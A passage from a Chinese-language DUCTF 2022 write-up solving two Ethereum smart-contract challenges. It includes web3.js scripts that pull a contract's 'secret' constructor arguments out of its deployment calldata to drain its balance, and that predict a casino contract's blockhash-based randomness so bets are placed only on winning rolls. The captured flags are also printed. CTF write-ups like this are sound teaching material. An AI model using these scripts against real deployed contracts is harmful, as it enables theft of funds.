mapping(address => uint) public cool_wallet_addresses;

bytes32 public spooky_hash; //

constructor(string memory _not_yours, uint256 _secret_number) {
not_yours = _not_yours;
spooky_hash = keccak256(abi.encodePacked(not_yours, _secret_number, msg.sender));
}

function giveTheFunds() payable public {
require(msg.value > 0.1 ether);
// Thankyou for your donation
cool_wallet_addresses[msg.sender] += msg.value;
}

function retrieveTheFunds(string memory secret, uint256 secret_number, address _owner_address) public {
bytes32 userHash = keccak256(abi.encodePacked(secret, secret_number, _owner_address));

require(userHash == spooky_hash, "Somethings wrong :(");

// User authenticated, sending funds
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
}

目標是拿到 contract 身上的 balance,所以需要使用正確參數呼叫 retrieveTheFunds。不過我們看到它會比對 userHash == spooky_hash,所以需要知道 _not_yours_secret_number 才行。

我在 ropsten 自己使用了自己給的參數去建立了新的 contract,然後在 etherscan 上發現說建立 contract 的 transaction 上的 data 會包含傳給 constructor 的資料,也就是 _not_yours_secret_number。雖然我不太清楚它是什麼格式表示的,但是稍微對一下位置就能 extract 出來。

不過以這題來說它是在自己的 network,沒辦法在 etherscan 上看到,所以我只好研究看看怎麼用 web3.js 找到建立 contract 的 transcation,然後找到它的資料。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const Web3 = require('web3')
const web3 = new Web3('https://blockchain-secretandephemeral-6afda207eb1b22a1-eth.2022.ductf.dev/')
const eth = web3.eth
const playerAddr = '0xD8dD4B9Ae58E0E314E6F500A760be562B446BFbC'
const contactAddr = '0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8'
;(async () => {
for (let i = 0; i < 609; i++) {
const block = await web3.eth.getBlock(i)
if (block.transactions.length > 0) {
console.log(i)
console.log(block.transactions)
for (const txn of block.transactions) {
const tx = await web3.eth.getTransaction(txn)
console.log(tx)
}
}
}
})()
// and one of the transactions is
// {
// blockHash: '0xc4873a1786b507b4375886ec5e782f8fdbcbbc0c95deaf035a9f81422937569e',
// blockNumber: 4,
// from: '0x7BCF8A237e5d8900445C148FC2b119670807575b',
// gas: 391467,
// gasPrice: '1000000000',
// hash: '0xd3383dd590ea361847180c3616faed3a091c3e8f3296771e0c2844b2746d408f',
// input: '0x6301e1338060015560c060405260046080908152636570696360e01b60a05260029061002b908261013c565b5034801561003857600080fd5b506040516106fd3803806106fd833981016040819052610057916101fb565b6003610063838261013c565b506003813360405160200161007a939291906102ca565b60405160208183030381529060405280519060200120600581905550505061035a565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806100c757607f821691505b6020821081036100e757634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111561013757600081815260208120601f850160051c810160208610156101145750805b601f850160051c820191505b8181101561013357828155600101610120565b5050505b505050565b81516001600160401b038111156101555761015561009d565b6101698161016384546100b3565b846100ed565b602080601f83116001811461019e57600084156101865750858301515b600019600386901b1c1916600185901b178555610133565b600085815260208120601f198616915b828110156101cd578886015182559484019460019091019084016101ae565b50858210156101eb5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000806040838503121561020e57600080fd5b82516001600160401b038082111561022557600080fd5b818501915085601f83011261023957600080fd5b81518181111561024b5761024b61009d565b604051601f8201601f19908116603f011681019083821181831017156102735761027361009d565b8160405282815260209350888484870101111561028f57600080fd5b600091505b828210156102b15784820184015181830185015290830190610294565b6000928101840192909252509401519395939450505050565b60008085546102d8816100b3565b600182811680156102f0576001811461030557610334565b60ff1984168752821515830287019450610334565b8960005260208060002060005b8581101561032b5781548a820152908401908201610312565b50505082870194505b50505094815260609390931b6001600160601b0319166020840152505060340192915050565b610394806103696000396000f3fe60806040526004361061004a5760003560e01c80631ac749ff1461004f57806323cfb56f146100775780637c46a9b014610081578063eb087bfb146100ae578063ecd424df146100c4575b600080fd5b34801561005b57600080fd5b5061006560015481565b60405190815260200160405180910390f35b61007f6100e4565b005b34801561008d57600080fd5b5061006561009c3660046101eb565b60046020526000908152604090205481565b3480156100ba57600080fd5b5061006560055481565b3480156100d057600080fd5b5061007f6100df366004610223565b61011e565b67016345785d8a000034116100f857600080fd5b33600090815260046020526040812080543492906101179084906102ee565b9091555050565b600083838360405160200161013593929190610315565b60405160208183030381529060405280519060200120905060055481146101985760405162461bcd60e51b81526020600482015260136024820152720a6dedacae8d0d2dccee640eee4dedcce40745606b1b604482015260640160405180910390fd5b6040514790339082156108fc029083906000818181858888f193505050501580156101c7573d6000803e3d6000fd5b505050505050565b80356001600160a01b03811681146101e657600080fd5b919050565b6000602082840312156101fd57600080fd5b610206826101cf565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561023857600080fd5b833567ffffffffffffffff8082111561025057600080fd5b818601915086601f83011261026457600080fd5b8135818111156102765761027661020d565b604051601f8201601f19908116603f0116810190838211818310171561029e5761029e61020d565b816040528281528960208487010111156102b757600080fd5b826020860160208301376000602084830101528097505050505050602084013591506102e5604085016101cf565b90509250925092565b8082018082111561030f57634e487b7160e01b600052601160045260246000fd5b92915050565b6000845160005b81811015610336576020818801810151858301520161031c565b50919091019283525060601b6bffffffffffffffffffffffff1916602082015260340191905056fea2646970667358221220c558120b35ab560caa833f878d167e3c94af9005d6dea322262181580b0f895864736f6c634300081100330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000dec0ded0000000000000000000000000000000000000000000000000000000000000022736f20616e79776179732069206a757374207374617274656420626c617374696e67000000000000000000000000000000000000000000000000000000000000',
// nonce: 1,
// to: null,
// transactionIndex: 1,
// value: '0',
// type: 0,
// chainId: '0x7a69',
// v: '0xf4f6',
// r: '0xcf50c8e0ed100baae3b31d69e45e7498caec66478e5ed9d884c3cedec6a14f82',
// s: '0x73ebe87f3541c26669adf9ef18e665f47f1a30796f8f4b7162795099807f7e5a'
// }
// and by comparing input data and another contract deployed on Ropsten network we can see that the data passed into constructor is on chain
// the `_not_yours` seems to be `736f20616e79776179732069206a757374207374617274656420626c617374696e67`, which is `so anyways i just started blasting`
// and `_secret_number` is `dec0ded`, so it is 233573869
// the owner address is 0x7BCF8A237e5d8900445C148FC2b119670807575b
// calls `retrieveTheFunds` with these parameters to solve the challenge
// DUCTF{u_r_a_web3_t1me_7raveler_:)}

官方 solve script

Crypto Casino

DUCoin.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;

import "OpenZeppelin/openzeppelin-contracts@4.3.2/contracts/token/ERC20/ERC20.sol";
import "OpenZeppelin/openzeppelin-contracts@4.3.2/contracts/access/Ownable.sol";

contract DUCoin is ERC20, Ownable {
constructor() ERC20("DUCoin", "DUC") {}

function freeMoney(address addr) external onlyOwner {
_mint(addr, 1337);
}
}

Casino.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;

import "./DUCoin.sol";
import "OpenZeppelin/openzeppelin-contracts@4.3.2/contracts/access/Ownable.sol";

contract Casino is Ownable {
DUCoin public immutable ducoin;

bool trialed = false;
uint256 lastPlayed = 0;
mapping(address => uint256) public balances;

constructor(address token) {
ducoin = DUCoin(token);
}

function deposit(uint256 amount) external {
ducoin.transferFrom(msg.sender, address(this), amount);
balances[msg.sender] += amount;
}

function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance!");
ducoin.transfer(msg.sender, amount);
balances[msg.sender] -= amount;
}

function _randomNumber() internal view returns(uint8) {
uint256 ab = uint256(blockhash(block.number - 1));
uint256 a = ab & 0xffffffff;
uint256 b = (ab >> 32) & 0xffffffff;
uint256 x = uint256(blockhash(block.number));
return uint8((a * x + b) % 6);
}

function play(uint256 bet) external {
require(balances[msg.sender] >= bet, "Insufficient balance!");
require(block.number > lastPlayed, "Too fast!");
lastPlayed = block.number;

uint8 roll = _randomNumber();
if(roll == 0) {
balances[msg.sender] += bet;
} else {
balances[msg.sender] -= bet;
}
}

function getTrialCoins() external {
if(!trialed) {
trialed = true;
ducoin.transfer(msg.sender, 7);
}
}
}

總之它用了一個賭場,正常來說只有 1/6 的機率你有辦法賺到錢,不過它 _randomNumber 的部分特別奇怪。查了一下找到了 Predicting Random Numbers in Ethereum Smart Contracts,而它告訴我們兩個重要的事:

  • blockhash(block.number) 在執行的時候 block 還沒被建立出來,所以它的值永遠會事 0
  • block.blockhash(block.number - 1) 的錯誤更加明顯,因為它會是已知的值

因此 _randomNumber 看似 random,實際上是隨機可預測的,所以只要寫個腳本應該就能讓自己的錢翻倍再翻倍了。

我因為對什麼 token 的不太熟悉,所以是先用 Remix IDE 弄了一些 DUCoin 方面的東西,然後 depositCasino 中,之後用腳本幫我把錢翻倍,之後再自己 withdraw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const Web3 = require('web3')
const web3 = new Web3('https://blockchain-cryptocasino-4addd2f7a74c6ceb-eth.2022.ductf.dev/')
const fs = require('fs/promises')
const ducoinAddr = '0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8'
const casinoAddr = '0x6189762f79de311B49a7100e373bAA97dc3F4bd0'
const myPriv = '0xc9fca06c1a90d7f3aafb7723fce52431e50fa1ed17355296011d23479b2aab11'

;(async () => {
// yarn solcjs Casino.sol --abi
const ducoinAbi = JSON.parse(await fs.readFile('./DUCoin_sol_DUCoin.abi', 'utf-8'))
const ducoin = new web3.eth.Contract(ducoinAbi, ducoinAddr)
const casinoAbi = JSON.parse(await fs.readFile('./Casino_sol_Casino.abi', 'utf-8'))
const casino = new web3.eth.Contract(casinoAbi, casinoAddr)
const acc = web3.eth.accounts.wallet.add(myPriv)

for (let i = 0; i < 32; i++) {
console.log('='.repeat(40))
console.log('Round', i)
console.log('='.repeat(40))
// use approve (or any other transcation?) the make the block number change
// because I am the only user of that network
const approve = ducoin.methods.approve(casinoAddr, 7)
await approve
.send({
from: acc.address,
gas: await approve.estimateGas({
from: acc.address
})
})
.on('receipt', receipt => {
console.log('approve success')
})
.on('error', (error, receipt) => {
console.log('approve error')
})

// https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620
// blockhash(block.number - 1) is the hash of the previous block (the latest block before transaction)
// blockhash(block.number) is always zero because it hasn't been computed
const last = await web3.eth.getBlockNumber()
console.log('last block num', last)
const blk = await web3.eth.getBlock(last)
const ab = BigInt(blk.hash)
console.log('ab', ab)
const roll = ((ab >> 32n) & 0xffffffffn) % 6n
console.log('roll', roll)
const bal = await casino.methods.balances(acc.address).call({ from: acc.address })
console.log('bal', bal)
const call = casino.methods.play(bal)
const gas = await call.estimateGas({
from: acc.address
})
if (roll === 0n) {
await call
.send({
from: acc.address,
gas
})
.on('receipt', receipt => {
console.log('play success')
})
.on('error', (error, receipt) => {
console.log('play error')
})
console.log('new bal', await casino.methods.balances(acc.address).call({ from: acc.address }))
}
}
})()
// DUCTF{sh0uldv3_us3d_a_vrf??}